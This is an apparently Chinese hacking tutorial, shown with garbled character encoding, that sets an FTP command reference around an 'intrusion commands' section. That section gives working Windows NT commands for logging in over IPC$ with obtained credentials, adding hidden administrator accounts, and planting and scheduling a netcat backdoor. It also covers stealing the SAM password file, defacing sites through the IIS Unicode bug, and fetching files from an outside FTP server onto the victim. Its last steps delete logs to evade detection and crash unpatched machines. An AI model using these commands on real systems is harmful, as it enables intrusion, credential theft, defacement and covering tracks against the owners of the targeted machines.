13. close:中斷與遠(yuǎn)程服務(wù)器的ftp會(huì)話(與open對(duì)應(yīng))。
14. cr:使用asscii方式傳輸文件時(shí),將回車換行轉(zhuǎn)換為回行。
15. delete remote-file:刪除遠(yuǎn)程主機(jī)文件。
16. debug[debug-value]:設(shè)置調(diào)試方式, 顯示發(fā)送至遠(yuǎn)程主機(jī)的每條命令,如: deb up 3,若設(shè)為0,表示取消debug。
17. dir[remote-dir][local-file]:顯示遠(yuǎn)程主機(jī)目錄,并將結(jié)果存入本地文件local-file。
18. disconnection:同close。
19. form format:將文件傳輸方式設(shè)置為format,缺省為file方式。
20. get remote-file[local-file]: 將遠(yuǎn)程主機(jī)的文件remote-file傳至本地硬盤的local-file。
21. glob:設(shè)置mdelete,mget,mput的文件名擴(kuò)展,缺省時(shí)不擴(kuò)展文件名,同命令行的-g參數(shù)。
22. hash:每傳輸1024字節(jié),顯示一個(gè)hash符號(hào)(#)。
23. help[cmd]:顯示ftp內(nèi)部命令cmd的幫助信息,如:help get。
24. idle[seconds]:將遠(yuǎn)程服務(wù)器的休眠計(jì)時(shí)器設(shè)為[seconds]秒。
25. image:設(shè)置二進(jìn)制傳輸方式(同binary)。
26. lcd[dir]:將本地工作目錄切換至dir。
27. ls[remote-dir][local-file]:顯示遠(yuǎn)程目錄remote-dir, 并存入本地文件local-file
上一頁 [1] [2] [3] [4] [5] [6] [7] 下一頁
文章錄入:csh 責(zé)任編輯:csh28. macdef macro-name:定義一個(gè)宏,遇到macdef下的空行時(shí),宏定義結(jié)束。
29. mdelete[remote-file]:刪除遠(yuǎn)程主機(jī)文件。
30. mdir remote-files local-file:與dir類似,但可指定多個(gè)遠(yuǎn)程文件,如: mdir *.o.*.zipoutfile 。
31. mget remote-files:傳輸多個(gè)遠(yuǎn)程文件。
32. mkdir dir-name:在遠(yuǎn)程主機(jī)中建一目錄。
33. mls remote-file local-file:同nlist,但可指定多個(gè)文件名。
34. mode[modename]:將文件傳輸方式設(shè)置為modename, 缺省為stream方式。
35. modtime file-name:顯示遠(yuǎn)程主機(jī)文件的最后修改時(shí)間。
36. mput local-file:將多個(gè)文件傳輸至遠(yuǎn)程主機(jī)。
37. newer file-name: 如果遠(yuǎn)程機(jī)中file-name的修改時(shí)間比本地硬盤同名文件的時(shí)間更近,則重傳該文件。
38. nlist[remote-dir][local-file]:顯示遠(yuǎn)程主機(jī)目錄的文件清單,并存入本地硬盤的local-file。
39. nmap[inpattern outpattern]:設(shè)置文件名映射機(jī)制, 使得文件傳輸時(shí),文件中的某些字符相互轉(zhuǎn)換,如:nmap $1.$2.$3[$1,$2].[$2,$3],則傳輸文件a1.a2.a3時(shí),文件名變?yōu)閍1,a2。該命令特別適用于遠(yuǎn)程主機(jī)為非UNIX機(jī)的情況。
40. ntrans[inchars[outchars]]:設(shè)置文件名字符的翻譯機(jī)制,如ntrans1R,則文件名LLL將變?yōu)镽RR。
41. open host[port]:建立指定ftp服務(wù)器連接,可指定連接端口。
42. passive:進(jìn)入被動(dòng)傳輸方式。
43. prompt:設(shè)置多個(gè)文件傳輸時(shí)的交互提示。
44. proxy ftp-cmd:在次要控制連接中,執(zhí)行一條ftp命令,該命令允許連接兩個(gè)ftp服務(wù)器,以在兩個(gè)服務(wù)器間傳輸文件。第一條ftp命令必須為open,以首先建立兩個(gè)服務(wù)器間的連接。
45. put local-file[remote-file]:將本地文件local-file傳送至遠(yuǎn)程主機(jī)。
46. pwd:顯示遠(yuǎn)程主機(jī)的當(dāng)前工作目錄。
47. quit:同bye,退出ftp會(huì)話。
48. quote arg1,arg2...:將參數(shù)逐字發(fā)至遠(yuǎn)程ftp服務(wù)器,如:quote syst。
49. recv remote-file[local-file]:同get。
50. reget remote-file[local-file]:類似于get,但若local-file存在,則從上次傳輸中斷處續(xù)傳。
51. rhelp[cmd-name]:請(qǐng)求獲得遠(yuǎn)程主機(jī)的幫助。
52. rstatus[file-name]:若未指定文件名,則顯示遠(yuǎn)程主機(jī)的狀態(tài),否則顯示文件狀態(tài)。
53. rename[from][to]:更改遠(yuǎn)程主機(jī)文件名。
54. reset:清除回答隊(duì)列。
55. restart marker:從指定的標(biāo)志marker處,重新開始get或put,如:restart 130。
56. rmdir dir-name:刪除遠(yuǎn)程主機(jī)目錄。
57. runique:設(shè)置文件名唯一性存儲(chǔ)。
58. send local-file[remote-file]:同put。
59. sendport:設(shè)置PORT命令的使用。
60. site arg1,arg2...:將參數(shù)作為SITE命令逐字發(fā)送至遠(yuǎn)程ftp主機(jī)。
61. size file-name:顯示遠(yuǎn)程主機(jī)文件大小,如:site idle 7200。
62. status:顯示當(dāng)前ftp狀態(tài)。
63. struct[struct-name]:將文件傳輸結(jié)構(gòu)設(shè)置為struct-name,缺省時(shí)使用stream結(jié)構(gòu)。
64. sunique:將遠(yuǎn)程主機(jī)文件名存儲(chǔ)設(shè)置為唯一(與runique對(duì)應(yīng))。
65. system:顯示遠(yuǎn)程主機(jī)的操作系統(tǒng)類型。
66. tenex:將文件傳輸類型設(shè)置為TENEX機(jī)的所需的類型。
67. tick:設(shè)置傳輸時(shí)的字節(jié)計(jì)數(shù)器。
68. trace:設(shè)置包跟蹤。
69. type[type-name]:設(shè)置文件傳輸類型為type-name,缺省為ascii,如:type binary,設(shè)置二進(jìn)制傳輸方式。
70. umask[newmask]:將遠(yuǎn)程服務(wù)器的缺省umask設(shè)置為newmask,如:umask 3。
71. user user-name[password][account]:向遠(yuǎn)程主機(jī)表明自己的身份,需要口令時(shí),必須輸入口令,如:user anonymous my@email。
72. verbose:同命令行的-v參數(shù),即設(shè)置詳盡報(bào)告方式,ftp服務(wù)器的所有響應(yīng)都將顯示給用戶,缺省為on。
73. ?[cmd]:同help。
入侵命令詳解
--------------------------------------------------------------------------------
1:NET
只要你擁有某IP的用戶名和密碼,那就用IPC$做連接吧!
這里我們假如你得到的用戶是hbx,密碼是123456。假設(shè)對(duì)方IP為127.0.0.1
net use \\127.0.0.1\ipc$ 123456 /user:hbx null密碼為空
退出的命令是
net use \\127.0.0.1\ipc$ /delete
--------------------------------
net share是查看主機(jī)共享資源我們用它建一個(gè)秘密共享目錄吧net share me=c:\winnt\system32 這樣這個(gè)機(jī)器就有了一個(gè)名為me的共享目錄,而打開它就是winnt下的system32目錄,如果你用win2000的系統(tǒng)就知這個(gè)目錄有多重要了,如果不想要也好辦net share me /delete 呵呵,沒有了,是不是很方便的啊。
---------------------- ---------------------- ----------------------
下面的操作你必須登陸后才可以用.登陸的方法就在上面.
---------------------- ---------------------- ----------------------
下面我們講怎么創(chuàng)建一個(gè)用戶,由于SA的權(quán)限相當(dāng)于系統(tǒng)的超級(jí)用戶.
我們加一個(gè)heibai的用戶密碼為lovechina
net user heibai lovechina /add
只要顯示命令成功,那么我們可以把他加入Administrator組了.
net localgroup Administrators heibai /add
----------------------
這里是講映射對(duì)方的C盤,當(dāng)然其他盤也可以,只要存在就行了.我們這里把對(duì)方的C盤映射到本地的Z盤.
net use z:\\127.0.0.1\c$
----------------------
net start telnet
這樣可以打開對(duì)方的TELNET服務(wù).
----------------------
這里是將Guest用戶激活,guest是NT的默認(rèn)用戶,而且無法刪除呢?不知道是否這樣,我的2000就是刪除不了它。
net user guest /active:yes
----------------------
net user guest /active:no這樣這個(gè)guest的用戶就又被禁用了
----------------------
這里是把一個(gè)用戶的密碼改掉,我們把guest的密碼改為lovechina,其他用戶也可以的。只要有權(quán)限就行了呀!
net user guest lovechina
有人問到提高權(quán)限的問題 下面就解決下
net localgroup administrators guest /add
將guest變?yōu)閍dministrator
net命令果然強(qiáng)大??! net view命令看對(duì)方開了共享
-------------------------------------------------------------------------------------------------------------
net user是查看所有用戶列表,看看哪個(gè)用戶是和你一樣偷跑進(jìn)來的,給他名給刪掉,讓他美,
net user 用戶名 /delete哈哈,他沒有了,管他什么是不是管理員呢,不過我們還是查一下管理員組有什么用戶吧,這樣的用戶才對(duì)我們有用嘛 net localgroup administrators就列出管理員組成員了,再查看一下administrator這個(gè)用戶,因?yàn)檫@個(gè)是創(chuàng)建系統(tǒng)時(shí)建出來的,所以要看看他的系統(tǒng)是什么時(shí)間創(chuàng)建出來的
net user administrator,然后再查看別的管理員用戶是什么時(shí)間創(chuàng)建的,如果相差太遠(yuǎn),那可能是被別人偷偷跑來偷建的,一律del,安全第一哦................
---------------------------------------------------------------------------------------------------------------------------
2:at
一般一個(gè)入侵者入侵后都會(huì)留下后門,也就是種木馬了,你把木馬傳了上去,怎么啟動(dòng)他呢?
那么需要用AT命令,這里假設(shè)你已經(jīng)登陸了那個(gè)服務(wù)器。
----------------------
你首先要得到對(duì)方的時(shí)間,
net time \\127.0.0.1
----------------------
將會(huì)返回一個(gè)時(shí)間,這里假設(shè)時(shí)間為12:1,現(xiàn)在需要新建一個(gè)作業(yè),其ID=1
at \\127.0.0.1 12:3 nc.exe
這里假設(shè)了一個(gè)木馬,名為NC.EXE,這個(gè)東西要在對(duì)方服務(wù)器上.
這里介紹一下NC,NC是NETCAT的簡(jiǎn)稱,為了方便輸入,一般會(huì)被改名.它是一個(gè)TELNET服務(wù),端口為99.
等到了12:3就可以連接到對(duì)方的99端口.這樣就給對(duì)方種下了木馬.
-----------------------------------------------------
at命令功能強(qiáng)大,下面可以打個(gè)比方:
C:\> AT 22:30 Start C:\prettyboy.mp3
新加了一項(xiàng)作業(yè),其作業(yè) ID = 1 [現(xiàn)在我們新建立了一個(gè)任務(wù) 在22:30分 系統(tǒng)將自動(dòng)播放歌曲]
---------------------------------------------------------------------------------------------------------------------------
3:telnet
這個(gè)命令非常實(shí)用,它可以與遠(yuǎn)方做連接,不過正常下需要密碼、用戶,不過你給對(duì)方種了木馬,直接連到這個(gè)木馬打開的端口.
telnet 127.0.0.1 99
這樣就可以連到對(duì)方的99端口.那你就可以在對(duì)方運(yùn)行命令了,這個(gè)也就是肉雞.
---------------------------------------------------------------------------------------------------------------------------
4:FTP
它可以將你的東西傳到對(duì)方機(jī)子上,你可以去申請(qǐng)個(gè)支持FTP上傳的空間,國內(nèi)多的是,如果真的找不到,我給WWW.51.NET,不錯(cuò)的.當(dāng)我們申請(qǐng)完后,...約癋TP服務(wù)器.
在上傳前需要登陸先,這里我們假設(shè)FTP服務(wù)器WWW.51.NET,用戶名是HUCJS,密碼是654321
ftp www.51.net
他會(huì)要求輸入用戶,成功后會(huì)要求輸入密碼.
----------------------
下面先說上傳,假設(shè)你需上傳的文件是INDEX.HTM,它位于C:\下,傳到對(duì)方D:\
get c:\index.htm d:\
假設(shè)你要把對(duì)方C盤下的INDEX.HTM,下到你的機(jī)子的D盤下
put c:\index.htm d:\
--------------------------------------------------
這里的問題是兩個(gè)命令的解釋正好弄反了,登陸FTP服務(wù)器后get才是下載,而put命令是上傳,這和tftp的命令正好相反,在tftp命令里get是上傳put是下載,這下明白了吧,而且在FTP服務(wù)器中不能用c:\和d:\這樣來指明路徑,這也是在tftp里面用的方法,F(xiàn)TP可不會(huì)執(zhí)行的,不信你去試好了,正確應(yīng)該這樣上傳文件put index.htm這樣就足夠了,裝c盤根目錄下的index.htm文件上傳到FTP服務(wù)器的當(dāng)前目錄下,不喜歡就del index.htm刪掉這文件,下載時(shí)先查看一下目錄,dir然后看這個(gè)目錄里有什么,有你要的你就get index.htm這樣就把index.htm這個(gè)文件下載到你自己的c盤根目錄下了。
--------------------------------------------------------------
get index.htm c:\inetpub\wwwroot\index.htm(這里是把你空間上的index.htm下載到對(duì)方的c:\inetpub\wwwroot\index.htm)"
這句的解釋里就沒有出現(xiàn)錯(cuò)誤,呵呵,看來那以前的還是馬虎所至吧
好了,總算找出錯(cuò)處了吧,再說下面吧。
---------------------------------------------------------------------------------------------------------------------------
5:copy
下面我說說怎樣把本地的文件復(fù)制到對(duì)方硬盤上去, 需要建立好IPC$連接才有效。
這里我們把本地C盤下的index.htm復(fù)制到127.0.0.1的C盤下
copy index.htm \\127.0.0.1\c$\index.htm
----------------------
如果你要復(fù)制到D盤下 把C改為D, 就行了!
copy index.htm \\127.0.0.1\d$\index.htm
----------------------
如果你要把他復(fù)制到 WINNT 目錄里
就要把輸入
copy index.htm \\127.0.0.1\admin$\index.htm
admin$是winnt
---------------------
要把對(duì)方的文件復(fù)制過來,順便告訴大家 NT的備份的數(shù)據(jù)庫放在x:\winnt\repair\sam._ sam._是數(shù)據(jù)庫的文件名
---------------------- ----------------------
下面就把127.0.0.1的數(shù)據(jù)庫復(fù)制到本地C盤下
copy \\127.0.0.1\admin$\repair\sam._ c:\
這個(gè)sam._這明顯是NT主機(jī)的口令檔,如果是win2000機(jī)器的口令文件應(yīng)該是sam
---------------------------------------------------------------------------------------------------------------------------
6:set
如果你跑進(jìn)了一部機(jī)子,而且想黑他(這思想只能在特別時(shí)候才準(zhǔn)有),當(dāng)然他的80端口要開,不然你黑給誰看。這時(shí)需要用SET命令!
下面是我得到的結(jié)果!我來分析它,只是找主頁在那而已。
COMPUTERNAME=PENTIUMII
ComSpec=D:\WINNT\system32\cmd.exe
CONTENT_LENGTH=0
GATEWAY_INTERFACE=CGI/1.1
HTTP_ACCEPT=*/*
HTTP_ACCEPT_LANGUAGE=zh-cn
HTTP_CONNECTION=Keep-Alive
HTTP_HOST=當(dāng)前登陸者的IP,這里本來是顯示我的IP,被我刪除了
HTTP_ACCEPT_ENCODING=gzip, deflate
HTTP_USER_AGENT=Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)
NUMBER_OF_PROCESSORS=1
Os2LibPath=D:\WINNT\system32\os2\dll;
OS=Windows_NT
Path=D:\WINNT\system32;D:\WINNT
PATHEXT=.COM;.EXE;.BAT;.CMD
PATH_TRANSLATED=E:\vlroot主頁放在的地址,只要你看到PATH_TRANSLATED=的后面就是主頁的存放地址。這里是E:\vlroot
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 3 Stepping 3, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0303
PROMPT=$P$G
QUERY_STRING=/c+set
REMOTE_ADDR=XX.XX.XX.XX
REMOTE_HOST=XX.XX.XX.XX
REQUEST_METHOD=GET
SCRIPT_NAME=/scripts/..%2f../winnt/system32/cmd.exe
SERVER_NAME=XX.XX.XX.XX
SERVER_PORT=80
SERVER_PORT_SECURE=0
SERVER_PROTOCOL=HTTP/1.1
SERVER_SOFTWARE=Microsoft-IIS/3.0對(duì)方使用IIS/3.0
SystemDrive=D:
SystemRoot=D:\WINNT
TZ=GMT-9
USERPROFILE=D:\WINNT\Profiles\Default User
windir=D:\WINNT
粉紅色的那行就是對(duì)方主頁存放地址,這里告訴大家一個(gè)技巧,很笨的技巧啊,不過只能用這個(gè)方法才能100%的找到主頁的名稱,當(dāng)你DIR這個(gè)目錄時(shí),一定會(huì)看到很多文件,你可以把所有文件在瀏覽器這樣輸入XX.XX.XX.XX/文件名,這樣只要看到和XX.XX.XX.XX看到的也面一模一樣,那么這就是主頁的名稱了。
---------------------------------------------------------------------------------------------------------------------------
7:nbtstat
如果你掃到一部NT的機(jī)子,他的136到139其中一個(gè)端口開了的話,就要用這個(gè)命令得到用戶了。順便告訴大家這是netbios,得到用戶名后就可以猜猜密碼了。例如比較簡(jiǎn)單的密碼,密碼和用戶名一樣的,都試下,不行就暴力破解吧!
現(xiàn)在網(wǎng)上很多NT的機(jī)子都開了這些端口的,你可以練習(xí)下,我們來分析得到的結(jié)果。
命令是
nbtstat -A XX.XX.XX.XX
-A一定要大寫哦。
這個(gè)我認(rèn)為大不大寫沒有太大差別,用處還是一樣的。
之后用net use \\對(duì)方IP 連接一下!
net view \\對(duì)方IP 查看對(duì)方共享文件夾
net use X: \\IP\對(duì)方共享文件 映射對(duì)方共享文件夾成為本機(jī)的X盤
這就是139端口的基本用法!不過前提是必須對(duì)方開共享!
netstat -n看看誰連接你
-----------------
下面是得到的結(jié)果。
NetBIOS Remote Machine Name Table
Name Type Status
---------------------------------------------
Registered Registered Registered Registered Registered Registered Registered Reg
istered Registered Registered Registered
MAC Address = 00-E0-29-14-35-BA
PENTIUMII <00> UNIQUE
PENTIUMII <20> UNIQUE
ORAHOTOWN <00> GROUP
ORAHOTOWN <1C> GROUP
ORAHOTOWN <1B> UNIQUE
PENTIUMII <03> UNIQUE
INet~Services <1C> GROUP
IS~PENTIUMII...<00> UNIQUE
ORAHOTOWN <1E> GROUP
ORAHOTOWN <1D> UNIQUE
..__MSBROWSE__.<01> GROUP
粉紅色的就是登陸過這部系統(tǒng)的用戶,可能你不知道怎么看,大家是不是看到了一竄數(shù)字,只要這竄數(shù)字是 <03> 的話,那他前面的就是用戶. 這里的用戶是PENTIUMII。
沒有03說明:MAC沒和IP捆在一起了
---------------------------------------------------------------------------------------------------------------------------
8:Shutdown
關(guān)了對(duì)方的NT服務(wù)器的命令
Shutdown \\IP地址 t:20
20秒后將NT自動(dòng)關(guān)閉,三思后才能運(yùn)行這個(gè)命令,這樣對(duì)對(duì)方造很大的損失,要做個(gè)有良心的入侵者呀。
Telnet進(jìn)去用命令或者是本地用什么軟件重啟對(duì)方電腦
shutdown -m \\計(jì)算機(jī)名稱 可以遠(yuǎn)程重起或關(guān)閉的
--------------------------------------------------------------------------------
9:DIR
這個(gè)命令沒什么好講,但是卻非常重要,他是查看一目錄里的所有文件、文件夾。
你可以本地試下。
--------------------------------------------------------------------------------
10:echo
著名的漏洞Unicode,這個(gè)命令可以簡(jiǎn)單的黑一下有這個(gè)漏洞的主機(jī)。
我們假設(shè)我們要把“南京大屠殺鐵證如山,任何日本人不得抵賴!”寫入index.htm,有2種方法,大家看看有什么區(qū)別。
-------------------------------------------------------
echo 南京大屠殺鐵證如山,任何日本人不得抵賴!>index.htm
echo 南京大屠殺鐵證如山,任何日本人不得抵賴!>>index.htm
-------------------------------------------------------
第一個(gè)的意思是覆蓋index.htm原有的內(nèi)容,把“南京大屠殺鐵證如山,任何日本人不得抵賴!”寫進(jìn)index.htm。
第二個(gè)的意思是把“南京大屠殺鐵證如山,任何日本人不得抵賴!”加到index.htm里面。
-------------------------------------------------------
“>>”產(chǎn)生的內(nèi)容將追加進(jìn)文件中,“>”則將原文件內(nèi)容覆蓋。
這里說明一下,<和>是重定向命令只是一個(gè)是輸入重定向另一個(gè)是輸出重定向,比如我們?cè)诿钐崾痉戮蜁?huì)顯示c:\>這個(gè)意思就是把C盤的命令權(quán)重定向給我們,同樣:也是定向的命令也叫作管道,它是用來連接兩個(gè)命令的管道,先執(zhí)行管道左邊的命令,再執(zhí)行管道右邊的命令,不過我是沒能耐把DOS命令說明白的,想研究就買本dos大全看吧,夠看半年的了。
-------------------------------------------------------
大家可以本地試下。
可能你會(huì)問,這樣簡(jiǎn)單黑下有什么好玩的,其實(shí)他可以用來下載主頁到對(duì)方的目錄里。
1、首先,我們需要申請(qǐng)一個(gè)免費(fèi)的主頁空間。
2、用echo在可寫目錄下建立如下內(nèi)容的txt文件:(以chinren服務(wù)器為例。)
open upload.chinaren.com(你的FTP服務(wù)器,申請(qǐng)時(shí)你的空間提供商會(huì)給你的)
cnhack(你申請(qǐng)時(shí)的用戶名)
test(你申請(qǐng)時(shí)的密碼)
get index.htm c:\inetpub\wwwroot\index.htm(這里是把你空間上的index.htm下載到對(duì)方的c:\inetpub\wwwroot\index.htm)
bye(退出FTP對(duì)話,相當(dāng)在98下的DOS,用EXIT退出DOS)
---------------------------------------------
具體的做法:
輸入 echo open upload.chinaren.com> c:\cnhack.txt
輸入 echo cnhack >> c:\cnhack.txt
輸入 echo 39abs >> c:\cnhack.txt
輸入 echo get index.htm c:\inetpub\wwwroot\index.htm+>>+c:\cnhack.txt
上一頁 [1] [2] [3] [4] [5] [6] [7] 下一頁
文章錄入:csh 責(zé)任編輯:csh最后輸入 ftp -s:c:\cnhack.txt (利用ftp的-s參數(shù),執(zhí)行文件里的內(nèi)容。)
等命令完成時(shí),文件已經(jīng)下載到你指定的文件里了。
-----------------------
注意:取得文件后,請(qǐng)刪除cnhack.txt。(如果不刪除,很容易會(huì)給別人看到你的密碼。)
記得要 del c:\cnhack.txt
--------------------------------------------------------------------------------
11:attrib
這個(gè)命令是設(shè)置文件屬性的。如果你想黑一個(gè)站,而他的主頁的文件屬性設(shè)置了只讀,那就很可憐呀,想刪除他也不行,想覆蓋他也不行。倒!不過有這個(gè)命令就別怕了。
attrib -r index.htm
這個(gè)命令是把index.htm的只讀屬性去掉。
如果把“-”改為“+”則是把這個(gè)文件的屬性設(shè)置為只讀
----------------------
attrib +r index.htm
這個(gè)命令是把index.htm的屬性設(shè)置為只讀。
----------------------------------------
attrib這個(gè)命令先要用來查屬性,比如attrib 文件名,這樣就顯示出這個(gè)文件的屬性了,它不止有R這個(gè)屬性,其實(shí)一共有四種屬性, a 檔案屬性 r 只讀屬性 h隱含屬性 s系統(tǒng)屬性,我們想用哪個(gè)就用哪個(gè),我覺得把我們上傳的文件加個(gè)隱含屬性更有意思,,,,,繼續(xù)挑那貼的錯(cuò).
---------------------------------------------------------------------------------------------------------------------------
12:del
當(dāng)你看到這個(gè)標(biāo)題可別倒下啊!現(xiàn)在要離開127.0.0.1了,要?jiǎng)h除日志,當(dāng)然要?jiǎng)h除日志啦!想被捉嗎。呵呵。
NT的日志有這些
del C:\winnt\system32\logfiles\*.*
del C:\winnt\ssytem32\config\*.evt
del C:\winnt\system32\dtclog\*.*
del C:\winnt\system32\*.log
del C:\winnt\system32\*.txt
del C:\winnt\*.txt
del C:\winnt\*.log
只要?jiǎng)h除這些就可以了。有些系統(tǒng)NT安裝在D盤或其他盤,就要把C改成其他盤。
Internet信息服務(wù)FTP日志默認(rèn)位置:%systemroot%\system32\logfiles\msftpsvc1\,默認(rèn)每天一個(gè)日志
Internet信息服務(wù)WWW日志默認(rèn)位置:%systemroot%\system32\logfiles\w3svc1\,默認(rèn)每天一個(gè)日志
Scheduler服務(wù)日志默認(rèn)位置:%systemroot%\schedlgu.txt
以上日志在注冊(cè)表里的鍵:
應(yīng)用程序日志,安全日志,系統(tǒng)日志,DNS服務(wù)器日志,它們這些LOG文件在注冊(cè)表中的:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Eventlog
有的管理員很可能將這些日志重定位。其中EVENTLOG下面有很多的子表,里面可查到以上日志的定位目錄。
Schedluler服務(wù)日志在注冊(cè)表中
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SchedulingAgent
--------------------------------------------------------------------
del確實(shí)是刪除文件用的,log也確實(shí)是日志文件類型,不過按上面這種方法是不可能清理掉你自身的日志的,因?yàn)橄到y(tǒng)自動(dòng)運(yùn)行著日志記錄,你在做這些時(shí)它一直都在記錄著,并沒有停止,大家也會(huì)常看到,有時(shí)刪除某個(gè)文件時(shí)會(huì)提示系統(tǒng)正在占用拒絕刪除的,呵呵,這就明白了,系統(tǒng)正在運(yùn)行的東西已經(jīng)駐留內(nèi)存里,當(dāng)然不能這樣刪除掉了,大家怕了吧,這樣刪等于幫別人清理了日志,沒刪自己那份啊,哈哈哈哈,要問我怎么清理,我只說大家還是用小榕的工具來清吧,那個(gè)又快又好,我們何必去用那些煩瑣的命令行呢,尤其對(duì)生長在windows桌面操作下的人們那顯然是太麻煩了,我推薦小榕的elsave工具,清理日志又快又干凈,還省電呢,嘻嘻,我可不是做廣告來的。
-------------------------------------------------------------------------
借助第三方工具:如小榕的elsave.exe遠(yuǎn)程清除system,applicaton,security的軟件,
使用方法很簡(jiǎn)單,首先利用獲得的管理員賬號(hào)與對(duì)方建立ipc會(huì)話,net use \\ip pass /us
er: user
然后命令行下:elsave -s \\ip -l application -C,這樣就刪除了安全日志。
其實(shí)利用這個(gè)軟件還可以進(jìn)行備份日志,只要加一個(gè)參數(shù) -f filename就可以了,在此不再詳述。
--------------------------------------------------------------------------------局域網(wǎng)要?jiǎng)e人死機(jī)? 他C盤開了共享的話(win98,而且沒有打補(bǔ)丁),你在DOS下輸入
\\他的IP或機(jī)器名\c\con\con
--------------------------------------------------------------------------------
FTP命令大全
先說說他的功能吧,主要就是從運(yùn)行FTP服務(wù)器的計(jì)算機(jī)傳輸文件。可以交互使用。這里要注意,只有安裝了tcp/ip協(xié)議的機(jī)器才能使用ftp命令。
命令格式:ftp [-v][-d][-i][-n][-g][-s:filename][-a][-w:windowsize][computer]
說說他們的含義吧。
-v 不顯示遠(yuǎn)程服務(wù)器響應(yīng)
-n 禁止第一次連接的時(shí)候自動(dòng)登陸
-i 在多個(gè)文件傳輸期間關(guān)閉交互提示
-d 允許調(diào)試、顯示客戶機(jī)和服務(wù)器之間傳遞的全部ftp命令
-g 不允許使用文件名通配符,文件名通配符的意思是說允許在本地文件以及路徑名中使用通配字符
-s:filename 指定包含ftp命令的文本文件。在ftp命令啟動(dòng)后將自動(dòng)運(yùn)行這些命令。在加的參數(shù)里不能有空格。
-a 綁定數(shù)據(jù)連接時(shí),使用任何的本地端口
-w:windowsize 忽略默認(rèn)的4096傳輸緩沖區(qū)
computer 指定要連接的遠(yuǎn)程計(jì)算機(jī)的ip地址
1) ?
說明:顯示ftp命令的說明。后面可以加參數(shù),是加需要解釋的命令名,不加則顯示包含所有命令列表。
2) !
說明:功能是在本地計(jì)算機(jī)上運(yùn)行指定命令。
如! command 其中command就是你要運(yùn)行的命令,如果不加command這個(gè)參數(shù)的話,則顯示本地命令提示, 這時(shí)你輸入exit命令就能返回到ftp了。
3)$ macro-ame[args]
說明:執(zhí)行宏定義macro-name。
4) append
說明:使用當(dāng)前文件類型設(shè)置,將本地文件附加到遠(yuǎn)程計(jì)算機(jī)中。大概格式是append local-file [remote-file] 其中l(wèi)ocal-file是說指定要添加的本地文件。remote-file是說指定要將local-file附加到遠(yuǎn)程計(jì)算機(jī)文件,要是省了這個(gè),則是使用本地文件名做遠(yuǎn)程文件名。
5)account[password]
說明:提供登錄遠(yuǎn)程系統(tǒng)成功后訪問系統(tǒng)資源所需的補(bǔ)充口令。
6)ascii
說明:默認(rèn)情況下,將文件傳輸類型設(shè)置為ASCII
7)bell
說明:響玲開關(guān),意思是文件傳輸完成后是否有玲聲提醒。默認(rèn)是關(guān)閉的。
8)binary
說明:將文件傳輸類型設(shè)置為二進(jìn)制。
9)bye
說明:結(jié)束和遠(yuǎn)程計(jì)算機(jī)的ftp會(huì)話,也就是安全斷開,退出ftp.
10)cd
說明:更改遠(yuǎn)程計(jì)算機(jī)上的工作目錄。
如cd data 其中data是要進(jìn)入的遠(yuǎn)程計(jì)算機(jī)的目錄。
12)cdup
說明:進(jìn)入遠(yuǎn)程主機(jī)目錄的父目錄。
13)chmod modefile-name
說明:將遠(yuǎn)程主機(jī)文件file-name的存取方式設(shè)置為mode。
如 chmod 777 a.out。
14)cr
說明:使用asscii方式傳輸文件時(shí),將回車換行轉(zhuǎn)換為回行。
15)close
說明:結(jié)束與遠(yuǎn)程服務(wù)器的ftp會(huì)話,并返回命令解釋程序。
16)dir
說明:顯示遠(yuǎn)程的文件以及子目錄列表。
如dir data local-file其中data是指定要查看列表的目錄,沒指定的話就是當(dāng)前目錄。local-file是指定要保存列表的本地文件,不指定的話就在屏幕輸出。
17)debug
說明:調(diào)試開關(guān),打開的時(shí)候打印每個(gè)發(fā)送到遠(yuǎn)程計(jì)算機(jī)的命令,命令前有——>默認(rèn)情況是關(guān)閉的。
18)disconnnect
說明:與遠(yuǎn)程計(jì)算機(jī)斷開連接,但還保持著ftp命令提示符。
19)delete remote-file
說明:刪除遠(yuǎn)程主機(jī)文件。
20)disconnection
說明:同close。
21)form format
說明:將文件傳輸方式設(shè)置為format,缺省為file方式。
22)get
說明:使用當(dāng)前文件傳輸類型,把遠(yuǎn)程的文件拷貝到本地計(jì)算機(jī)上。
如get remote-file local-fileremote-file是指定要復(fù)制的文件,local-file是指定本地計(jì)算機(jī)上的文件名,沒有指定的話則個(gè)remote-file同名。
23)glob
說明:文件名通配開關(guān)
24)hash
說明:轉(zhuǎn)換每個(gè)傳輸數(shù)據(jù)快的散列標(biāo)記打印(#).數(shù)據(jù)快的大小是2048字節(jié)。默認(rèn)情況下是關(guān)閉的,
25)help
說明:顯示ftp命令的解釋,如help commmand 其中command就是你要解釋的命令,如果不加command這個(gè)參數(shù)的話就會(huì)顯示所有命令的列表
26)idle[seconds]
說明:將遠(yuǎn)程服務(wù)器的休眠計(jì)時(shí)器設(shè)為[seconds]秒。
27)image
說明:設(shè)置二進(jìn)制傳輸方式(同binary)
28)lcd
說明:更改本地計(jì)算機(jī)的本地目錄,在默認(rèn)的時(shí)候是啟動(dòng)ftp的目錄.這個(gè)不要覺得沒用啊,在你使用ftp的時(shí)候?yàn)榱藗鬟f文件不是常改變本地和遠(yuǎn)程計(jì)算機(jī)的目錄嗎?
如lcd [directory] 其中[directory]是指定要進(jìn)入的本地計(jì)算機(jī)的目錄,如果你不加這個(gè)參數(shù),就會(huì)顯示出本地計(jì)算機(jī)的工作目錄.
29)literal
說明:向遠(yuǎn)程ftp服務(wù)器發(fā)送協(xié)商參數(shù),報(bào)告.
如lireral argument [...] 其中argument是指定要發(fā)送給遠(yuǎn)程服務(wù)器的協(xié)商參數(shù)。
30)ls
說明:顯示遠(yuǎn)程目錄的文件和字目錄.
如ls remote-directory local-file其中remote-directory是指要查看的列表的目錄,不指定的話顯示的是當(dāng)前工作目錄。local-file是指定要保存列表的本地文件.不指定的話是在屏幕上輸出.
31)macdef macro-name
說明:定義一個(gè)宏,遇到macdef下的空行時(shí),宏定義結(jié)束。
32)mdelete
說明:刪除遠(yuǎn)程計(jì)算機(jī)上的文件.
如mdelete remote-file ...remote-file肯定是要?jiǎng)h的文件啊,可以刪除多個(gè).
33)mdir
說明:顯示遠(yuǎn)程目錄的文件和子目錄列表,他允許指定多個(gè)文件.
